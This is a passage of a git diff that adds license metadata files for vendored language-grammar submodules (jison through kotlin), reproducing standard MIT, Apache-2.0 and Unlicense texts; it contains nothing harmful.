+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/textmate/javascript.tmbundle and distributed under the
+    following license, located in `README.mdown`:
+
+    Permission to copy, use, modify, sell and distribute this
+    software is granted. This software is provided "as is" without
+    express or implied warranty, and with no claim as to its
+    suitability for any purpose.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-jison.dep.yml b/vendor/licenses/git_submodule/language-jison.dep.yml
new file mode 100644
index 0000000000..c25f493d6c
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-jison.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: language-jison
+version: ce8e2c78279b242a95b87e830a60dee55357aedc
+license: mit
+licenses:
+- text: |-
+    Copyright © 2014–2017 Chris Dibbern
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-jolie.dep.yml b/vendor/licenses/git_submodule/language-jolie.dep.yml
new file mode 100644
index 0000000000..d3d59c92bb
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-jolie.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: language-jolie
+version: 7abac1ef825820dff3877cbc1d7573774df98e7c
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2015 Fabrizio Montesi <famontesi@gmail.com>
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-jq.dep.yml b/vendor/licenses/git_submodule/language-jq.dep.yml
new file mode 100644
index 0000000000..0f1fd38330
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-jq.dep.yml
@@ -0,0 +1,29 @@
+---
+name: language-jq
+version: 2401bdf50a0bc4fbef95ec58bc125add5c6a7746
+type: git_submodule
+homepage: https://github.com/wader/language-jq
+license: mit
+licenses:
+- sources: Auto-generated MIT license text
+  text: |
+    MIT License
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-jsoniq.dep.yml b/vendor/licenses/git_submodule/language-jsoniq.dep.yml
new file mode 100644
index 0000000000..2b5e08f558
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-jsoniq.dep.yml
@@ -0,0 +1,211 @@
+---
+name: language-jsoniq
+version: 89a3515410d82ef32995a1d713ece09bd15eb840
+type: git_submodule
+homepage: https://github.com/wcandillon/language-jsoniq
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright {yyyy} {name of copyright owner}
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-jsonnet.dep.yml b/vendor/licenses/git_submodule/language-jsonnet.dep.yml
new file mode 100644
index 0000000000..abc25cf714
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-jsonnet.dep.yml
@@ -0,0 +1,212 @@
+---
+name: language-jsonnet
+version: a73f78b533b744055ecd6f03d3c37a13c25bcb30
+type: git_submodule
+homepage: https://github.com/google/language-jsonnet
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-kak.dep.yml b/vendor/licenses/git_submodule/language-kak.dep.yml
new file mode 100644
index 0000000000..5f524be41b
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-kak.dep.yml
@@ -0,0 +1,34 @@
+---
+name: language-kak
+version: ccb3e7fbf8c54efc9a7527e462d98a8c8cec1196
+type: git_submodule
+homepage: https://github.com/kakoune-editor/language-kak
+license: unlicense
+licenses:
+- sources: UNLICENSE
+  text: |
+    This is free and unencumbered software released into the public domain.
+
+    Anyone is free to copy, modify, publish, use, compile, sell, or
+    distribute this software, either in source code form or as a compiled
+    binary, for any purpose, commercial or non-commercial, and by any
+    means.
+
+    In jurisdictions that recognize copyright laws, the author or authors
+    of this software dedicate any and all copyright interest in the
+    software to the public domain. We make this dedication for the benefit
+    of the public at large and to the detriment of our heirs and
+    successors. We intend this dedication to be an overt act of
+    relinquishment in perpetuity of all present and future rights to this
+    software under copyright law.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+    OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+    ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+
+    For more information, please refer to <https://unlicense.org/>
+notices: []
diff --git a/vendor/licenses/git_submodule/language-kerboscript.dep.yml b/vendor/licenses/git_submodule/language-kerboscript.dep.yml
new file mode 100644
index 0000000000..39ccc543b0
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-kerboscript.dep.yml
@@ -0,0 +1,31 @@
+---
+name: language-kerboscript
+version: fabac004678aff28f443bb363b17ad045e33b1e4
+type: git_submodule
+homepage: https://github.com/KSP-KOS/language-kerboscript.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2015 Tony Spataro
+    Copyright (c) 2017 KSP-KOS contributors (https://github.com/KSP-KOS)
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-kickstart.dep.yml b/vendor/licenses/git_submodule/language-kickstart.dep.yml
new file mode 100644
index 0000000000..082f9f4f6b
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-kickstart.dep.yml
@@ -0,0 +1,30 @@
+---
+name: language-kickstart
+version: 3d9e0d0165948a2f135f0498c0f60c997774e13b
+type: git_submodule
+homepage: https://github.com/wgwoods/language-kickstart.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2015 Red Hat, Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-kotlin.dep.yml b/vendor/licenses/git_submodule/language-kotlin.dep.yml
new file mode 100644
index 0000000000..1f86d250c1
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-kotlin.dep.yml
@@ -0,0 +1,222 @@
+---
+name: language-kotlin
+version: 2a204bd8de2af687ea90fb0d6f8869afb07a0c28
+type: git_submodule
+homepage: https://github.com/nishtahir/language-kotlin
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2+
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
